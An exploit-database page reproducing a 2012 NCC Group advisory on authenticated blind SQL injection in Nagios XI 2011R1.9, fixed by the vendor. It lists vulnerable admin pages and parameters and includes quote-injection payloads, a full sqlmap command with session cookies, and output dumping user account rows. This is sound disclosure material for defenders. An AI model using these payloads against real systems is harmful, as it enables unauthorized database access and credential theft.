0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Nagios XI Network Monitor 2011R1.9 SQL Injection Vulnerability
[======= Summary ======= Name: Nagios XI Network Monitor - Blind SQL Injection Release Date: 30 November 2012 Reference: NGS00194 Discoverer: Daniel Compton <daniel.compton@ngssecure.com> Vendor: Nagios Vendor Reference: 0000282 Systems Affected: Nagios XI Network Monitor 2011R1.9 Risk: High Status: Published ======== TimeLine ======== Discovered: 30 January 2012 Released: 31 January 2012 Approved: 31 January 2012 Reported: 31 January 2012 Fixed: 7 June 2012 Published: 30 November 2012 =========== Description =========== Nagios XI Network Monitor 2011R1.9 - Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment. I. VULNERABILITY ------------------------- Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user. II. BACKGROUND ------------------------- Nagios provide enterprise level network and server monitor software. http://www.nagios.com/ III. DESCRIPTION ------------------------- SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI. ================= Technical Details ================= IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from Blind SQL injection. /nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType) /nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType) /nagiosql/admin/hostgroups.php (POST parameters: chbActive) /nagiosql/admin/services.php (POST parameters: chbActive) /nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval) Manual confirmation of the chbActive parameter, insering a single ' tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1'&hidActive=&modus=insert&hidId=&hidLimit=0 tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1''&hidActive=&modus=insert&hidId=&hidLimit=0 Exploiting with SQLMap: python sqlmap.py --url http://192.168.1.121/nagiosql/admin/checkcommands.php --cookie "PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556" --data="tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1&hidActive=&modus=insert&hidId=&hidLimit=0" --dbms=mysql -p chbActive --dbs [14:55:26] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0 [14:55:26] [INFO] fetching database names [14:55:26] [INFO] the SQL query used returns 3 entries [14:55:26] [INFO] retrieved: information_schema [14:55:26] [INFO] retrieved: nagiosql [14:55:26] [INFO] retrieved: test available databases [3]: [*] information_schema [*] nagiosql [*] test [14:25:26] [INFO] fetching entries for table 'tbl_user' on database 'nagiosql' [14:25:26] [INFO] the SQL query used returns 2 entries [14:25:26] [INFO] retrieved: 11111111 [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: Administrator [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: 2012-01-30 12:29:41 [14:25:27] [INFO] retrieved: 2009-10-22 12:53:49 [14:25:27] [INFO] retrieved: 1 [14:25:27] [INFO] retrieved: ccc<CUT>2f014bb [14:25:28] [INFO] retrieved: nagiosadmin [14:25:28] [INFO] retrieved: 0 [14:25:28] [INFO] retrieved: 11111111 [14:25:28] [INFO] retrieved: 1 [14:25:28] [INFO] retrieved: Nagios XI Subsystem Account [14:25:28] [INFO] retrieved: 4 [14:25:28] [INFO] retrieved: 2012-01-30 13:52:09 [14:25:29] [INFO] retrieved: 2009-10-22 12:55:08 [14:25:29] [INFO] retrieved: 0 [14:25:29] [INFO] retrieved: cccc<CUT>2f014bb [14:25:29] [INFO] retrieved: nagiosxi [14:25:30] [INFO] retrieved: 0 =============== Fix Information =============== Fixed in 2012 version http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/ NCC Group Research http://www.nccgroup.com/research For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. </a> # 0day.today [2024-11-16] #